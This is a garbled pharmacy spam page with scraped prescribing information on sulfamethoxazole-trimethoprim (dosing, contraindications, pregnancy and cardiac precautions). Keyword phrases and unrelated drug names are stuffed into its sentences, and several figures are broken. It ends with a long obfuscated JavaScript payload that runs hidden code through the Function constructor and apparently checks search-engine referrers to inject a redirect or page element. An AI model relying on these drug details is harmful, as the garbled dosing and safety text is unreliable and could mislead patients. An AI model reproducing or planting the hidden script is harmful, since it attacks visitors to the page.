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Prix De Prescription De Sulfamethoxazole and Trimethoprim

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Dosage adjustments Où je peux acheter en ligne Furosemide be necessary in patients with hepatic impairment; however, specific dosage adjustment guidelines are not available.

Renal Impairment General renal dosage adjustment: No dosage adjustment needed.

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Reduce dose to one-half of the usual dosage regimen. The doses below are expressed in terms of the trimethoprim content of the fixed combination, which consists of 5 mg sulfamethoxazole: Oral Administration May be administered without regard to meals. Administer with food, water, or milk to minimize gastric irritation. Oral Liquid Formulations Suspension: Shake well before using.

Injectable Administration Visually inspect parenteral products for particulate matter and discoloration prior to administration whenever solution and container permit. Intravenous Administration Rapid or direct IV injection must be avoided.

Dilute 5 ml of the concentrate for injection in ml of D5W. For fluid-restricted patients, 75 ml of D5W may be used.

Use diluted solution within 2 hours of preparation and do not refrigerate. Infuse over a period of 60—90 minutes. Change infusion site every 48—72 hours. When administered in high doses as for the treatment of P. Propylene glycol toxicity may result in hyperosmolarity with anion gap metabolic acidosis, including lactic acidosis. Additionally, propylene glycol toxicity may result in acute kidney injury, CNS toxicity, and multi-organ failure.

Monitor patients for the total daily intake of propylene glycol from all sources and for acid-base disturbances. Discontinue sulfamethoxazole; trimethoprim if propylene glycol toxicity is suspected. Carbonic anhydrase inhibitor hypersensitivity, sulfite hypersensitivity, sulfonamide hypersensitivity, sulfonylurea hypersensitivity, thiazide diuretic hypersensitivity, trimethoprim hypersensitivity Sulfamethoxazole; trimethoprim is contraindicated in patients with either sulfonamide hypersensitivity or trimethoprim hypersensitivity.

Fatalities have been documented in patients with sulfonamide hypersensitivity who receive sulfonamides, usually secondary to Stevens-Johnson syndrome, toxic epidermal necrolysis, Prix De Prescription De Sulfamethoxazole and Trimethoprim, or hepatic necrosis.

Because of structural similarity, sulfonamides should be used cautiously in patients with known allergic reactions to thiazide diuretics, oral sulfonylureas, Prix De Prescription De Sulfamethoxazole and Trimethoprim, or carbonic anhydrase inhibitors. Despite the chemical similarities between furosemide and sulfonamides and the logical conclusion that cross-sensitivity would occur, a thorough review of the published literature and direct communication with the manufacturer revealed no data supporting the conclusion that patients with sensitivity to sulfonamides also develop sensitivity to furosemide.

Less is known regarding the cross-sensitivity between sulfonamides and the other agents, although some clinicians doubt that significant risk exists. Nevertheless, sulfamethoxazole; trimethoprim should be avoided in patients with furosemide hypersensitivity, thiazide diuretic test.francelam.org, sulfonylurea hypersensitivity, or carbonic anhydrase inhibitor hypersensitivity.

Additionally, sulfamethoxazole; trimethoprim injection contains sodium metabisulfite and should not be used in patients with sulfite hypersensitivity; those at risk are found more frequently amongst asthmatic than non-asthmatic members of the population, Prix De Prescription De Sulfamethoxazole and Trimethoprim.

Severe life-threatening anaphylactic prixes De Prescription De Sulfamethoxazole and Trimethoprim or less severe asthmatic episodes can develop in susceptible patients. Agranulocytosis, bone marrow suppression, folate deficiency, folate deficiency megaloblastic anemia, G6PD deficiency, hemolysis, thrombocytopenia Sulfamethoxazole; trimethoprim is contraindicated in patients with folate deficiency megaloblastic anemia since either component could exacerbate this condition; be use with caution in patients with mild folate deficiency.

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Caution is advised when administering the drug to patients with bone marrow suppression, as sulfonamides have been associated with fatalities resulting from agranulocytosis, aplastic anemia, and other blood dyscrasias.

Do not administer to patients with G6PD deficiency; hemolysis and hemolytic anemia may occur if patients with G6PD deficiency receive sulfamethoxazole; trimethoprim; this reaction is frequently dose related. Discontinue the drug at the first appearance of serious blood disorders. It should be used cautiously in patients with moderate renal impairment i. Trimethoprim has generic Zocor potassium-sparing effect on the distal nephron and may induce hyperkalemia, especially in patients with preexisting risk factors e.

Monitor serum potassium levels in patients with risk factors for developing drug-induced hyperkalemia renal impairment, elderly, high-dose trimethoprim.

In addition, use trimethoprim with caution in patients receiving drugs known to significantly increase serum potassium. Sulfamethoxazole; trimethoprim has also been associated with severe cases of hyponatremia, particularly in patients receiving treatment for pneumocystis pneumonia PCP.

Health care providers are advised to monitor for the development of hyponatremia and implement appropriate corrective measures as needed in symptomatic patients. Hepatic disease Sulfamethoxazole; trimethoprim is contraindicated in patients with marked hepatic damage or hepatic disease. Because both sulfonamides and trimethoprim are metabolized in the liver, caution should be used prix De Prescription De Sulfamethoxazole and Trimethoprim these drugs are given to patients with any degree of hepatic disease.

Metabolism can be decreased, and as a result, toxicity may occur. Patients who are “slow acetylators” may be more prone to idiosyncratic reactions to sulfonamides.

Porphyria Sulfonamides, such as sulfamethoxazole, can cause an acute attack of porphyria, and should not be used in patients with this condition.

  • It was concluded that the antibiotics ampicillin, ciprofloxacin, clarithromycin, doxycycline, metronidazole, ofloxacin, roxithromycin, temafloxacin, and tetracycline did not alter plasma concentrations of OCs.
  • Because methenamine salts produce an acidic urine, these agents should not be used concomitantly.
  • Choline Salicylate; Magnesium Salicylate:
  • The drugs are often given clinically together with certain patient populations, so the ultimate clinical significance of a possible pharmacokinetic interaction is not clear.
  • If naproxen is used concurrently with sulfonamides, monitor patients for toxicity from either drug.

Colitis, diarrhea, GI disease, inflammatory bowel disease, pseudomembranous colitis, ulcerative colitis Almost all antibacterial agents have been associated with pseudomembranous colitis antibiotic-associated colitis which may range in severity from mild to life-threatening.

In the colon, overgrowth of Clostridia may exist when normal flora is altered subsequent to antibacterial administration. The toxin produced by Clostridium difficile is a primary cause of pseudomembranous colitis. It is known that systemic use of antibiotics predisposes patients to development of pseudomembranous colitis.

Consideration should be given to the diagnosis of pseudomembranous colitis in patients presenting with diarrhea following sulfamethoxazole; trimethoprim administration.

Systemic antibiotics should be prescribed with caution to patients with inflammatory bowel disease such as ulcerative colitis or other GI disease. If diarrhea develops during therapy, the drug should be discontinued. Following diagnosis of pseudomembranous colitis, therapeutic measures should be instituted. In milder cases, the colitis may respond to discontinuation of the offending agent.

In moderate to severe cases, fluids and electrolytes, protein supplementation, and treatment with an antibacterial effective against Clostridium difficile may be warranted. Products inhibiting peristalsis are contraindicated in this clinical situation, Prix De Prescription De Sulfamethoxazole and Trimethoprim.

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Practitioners should be aware that antibiotic-associated colitis has been observed to occur over two months or more following discontinuation of systemic antibiotic therapy; a careful medical history should be taken. Hypothyroidism As with all medications containing sulfonamides, use sulfamethoxazole; trimethoprim with caution in patients with hypothyroidism.

Patients with AIDS may experience more drug-related side effects, including rash, fever, leukopenia, elevated hepatic enzymes, and hyperkalemia.

Health care providers are encouraged to reevaluate sulfamethoxazole; trimethoprim therapy in patients who develop prix De Prescription De Sulfamethoxazole and Trimethoprim or other treatment-related adverse reactions. If treatment is continued, Prix De Prescription De Sulfamethoxazole and Trimethoprim, closely monitor potassium concentrations and ensure adequate fluid intake during therapy.

During a clinical trials, HIV-positive patients with pneumocystis pneumonia who receiving these drugs in combination experienced treatment failure and excess mortality.

¿Cuál es la información más importante que debo saber sobre sulfamethoxazole and trimethoprim?

Infants, neonates Sulfamethoxazole; trimethoprim is contraindicated in neonates and infants less than 2 months old. Sulfonamides may cause bilirubin displacement and kernicterus in this age group. Additionally, sulfamethoxazole; trimethoprim injection contains benzyl alcohol as a preservative. Normal sulfamethoxazole; trimethoprim doses would deliver benzyl alcohol at amounts lower than those reported with gasping syndrome; however, the minimum prix De Prescription De Sulfamethoxazole and Trimethoprim of benzyl alcohol to cause toxicity is unknown.

Consider the combined daily metabolic load of benzyl alcohol from all sources if using sulfamethoxazole; trimethoprim injection in infants. Sulfamethoxazole; trimethoprim may be used as adjunctive therapy with pyrimethamine in the treatment of congenital toxoplasmosis or for the prophylaxis of PCP in infants 1 month and older.

Pregnancy Sulfamethoxazole; trimethoprim may cause fetal harm if administered during pregnancy. Use sulfamethoxazole; trimethoprim during pregnancy only if the potential benefit justifies the potential risk to the fetus. Limited data have also linked first trimester exposure to sulfamethoxazole; trimethoprim to an increased risk for congenital malformations i. However, other studies such as the Collaborative Perinatal Project, which included 1, mothers with first trimester sulfonamide exposure and 5, Prix De Prescription De Sulfamethoxazole and Trimethoprim, with exposure anytime during pregnancy, found no evidence to suggest a relationship between sulfonamide use and fetal malformations.

If sulfamethoxazole; trimethoprim is used during pregnancy, the patient should be advised of the potential risk to the fetus and supplemental multivitamins should be administered. Because of the potential risk of bilirubin displacement and kernicterus, avoid breast-feeding during treatment with sulfamethoxazole; trimethoprim. However, previous American Academy of Pediatrics AAP recommendations considered sulfamethoxazole; trimethoprim as usually compatible with breast-feeding.

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An extensive review in HIV-infected women suggested that the risk of kernicterus in the breast-feeding infant is very low. In a study of 12 newborn infants of less than 3 days postnatal age receiving systemic sulfamethoxazole; trimethoprim, the authors noted that despite therapeutic serum concentrations, there was no displacement of bilirubin from albumin in the newborns.

If sulfamethoxazole; trimethoprim is administered to the mother of a young infant, monitor the infant for signs of increased bilirubin and jaundice. Ciprofloxacin, amoxicillin, and nitrofurantoin cautioned in the infant with glucosephosphate dehydrogenase deficiency may be potential alternatives to consider during prix De Prescription De Sulfamethoxazole and Trimethoprim as generally considered compatible by previous AAP recommendations.

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Antimicrobial resistance, viral infection Sulfamethoxazole; trimethoprim will not effectively treat an established group A beta-hemolytic streptococcal infection; therefore, its use in patients with such infections should be avoided, Prix De Prescription De Sulfamethoxazole and Trimethoprim.

Additionally the drug will not treat viral infection e. Prescribing this drug in the absence of a proven, or strongly suspected, susceptible bacterial infection or a prophylactic indication is unlikely to provide benefit to the patient and increases the risk of the development of drug-resistant bacteria antimicrobial resistance. Patients should be told to complete the full course of treatment, even if they feel better earlier.

Antibiotic therapy can result in superinfection or suprainfection with nonsusceptible organisms. Patients should be monitored closely. Hypoglycemia, malnutrition Cases of hypoglycemia have been reported in non-diabetic patients receiving treatment with sulfamethoxazole; trimethoprim.

These events are uncommon and usually develop after a few days of therapy. Risk factors include, renal and hepatic dysfunction, malnutrition, and those patients receiving high drug doses. Sunlight UV exposure Photosensitivity can occur with sulfonamide treatment, so patients should avoid or limit sunlight UV exposure, including sunlamps and tanning booths. Sunscreens should be employed, but may provide limited protection for this reaction. Discontinue sulfamethoxazole; trimethoprim use at the first sign of erythema.

Alcoholism, bradycardia, cardiac arrhythmias, cardiac disease, coronary artery disease, diabetes mellitus, females, heart failure, hypertension, hypocalcemia, hypokalemia, hypomagnesemia, long QT syndrome, myocardial infarction, QT prolongation, thyroid disease Cases of QT prolongation resulting in ventricular tachycardia and torsade de pointes have been reported during post-marketing use of sulfamethoxazole; trimethoprim.

Cotrim DS (sulfamethoxazole / trimethoprim) Disease Interactions

Use sulfamethoxazole; trimethoprim with caution in patients with cardiac disease or other conditions that may increase the risk of QT prolongation including cardiac arrhythmias, congenital long QT syndrome, heart failure, bradycardia, myocardial infarction, hypertension, coronary artery disease, hypomagnesemia, hypokalemia, hypocalcemia, or in patients receiving medications known to prolong the QT interval or cause electrolyte imbalances. Females, geriatric patients, patients with diabetes mellitus, thyroid disease, malnutrition, alcoholism, or hepatic disease may also be at increased risk for QT prolongation.

Geriatric Sulfamethoxazole; trimethoprim is renally eliminated and should be used cautiously in geriatric patients, who have an age-related decline in renal function. Trimethoprim has a potassium-sparing prix De Prescription De Sulfamethoxazole and Trimethoprim on the distal nephron and may induce hyperkalemia, especially in patients with preexisting risk factors, such as geriatric patients. Monitor serum potassium levels in geriatric patients and use sulfamethoxazole; trimethoprim with caution in geriatric patients receiving drugs known to significantly increase serum potassium.

According to OBRA, use of antibiotics should be limited to confirmed or suspected bacterial infections. Antibiotics are non-selective and may result in the eradication of beneficial microorganisms while promoting the emergence of undesired ones, causing secondary infections such as oral thrush, Prix De Prescription De Sulfamethoxazole and Trimethoprim, colitis, or vaginitis.

Any antibiotic may cause diarrhea, nausea, vomiting, anorexia, and hypersensitivity reactions.

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M02SjX

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,112,57,52,54,48,72,84,77,76,60,34,47,95,63,38,43,85,67,119,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+([]+[]+{})[+!+[]+[+[]]]+$[24]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+$[13]+$[25]+$[25]+$[14]+$[13]+(![]+[])[+!+[]]+$[26]+(![]+[])[!+[]+!+[]+!+[]]+$[13]+(![]+[])[!+[]+!+[]]+$[27]+$[14]+$[3]+([![]]+{})[+!+[]+[+[]]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[28]+$[29]+$[30]+$[31]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[32]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[33]+$[27]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[33]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[23]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[33]+$[27]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[33]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[33]+$[34]+$[34]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[34]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[35]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[36]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[37]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[35]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+$[1]+$[22]+$[40]+([]+[]+{})[+!+[]]+$[3]+$[23]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[35]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[41]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[21]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+$[9]+$[38]+$[41]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[41]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[23]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[36]+$[9]+$[42]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+$[9]+$[11]+$[38]+$[9]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[33]+$[23]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[43]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8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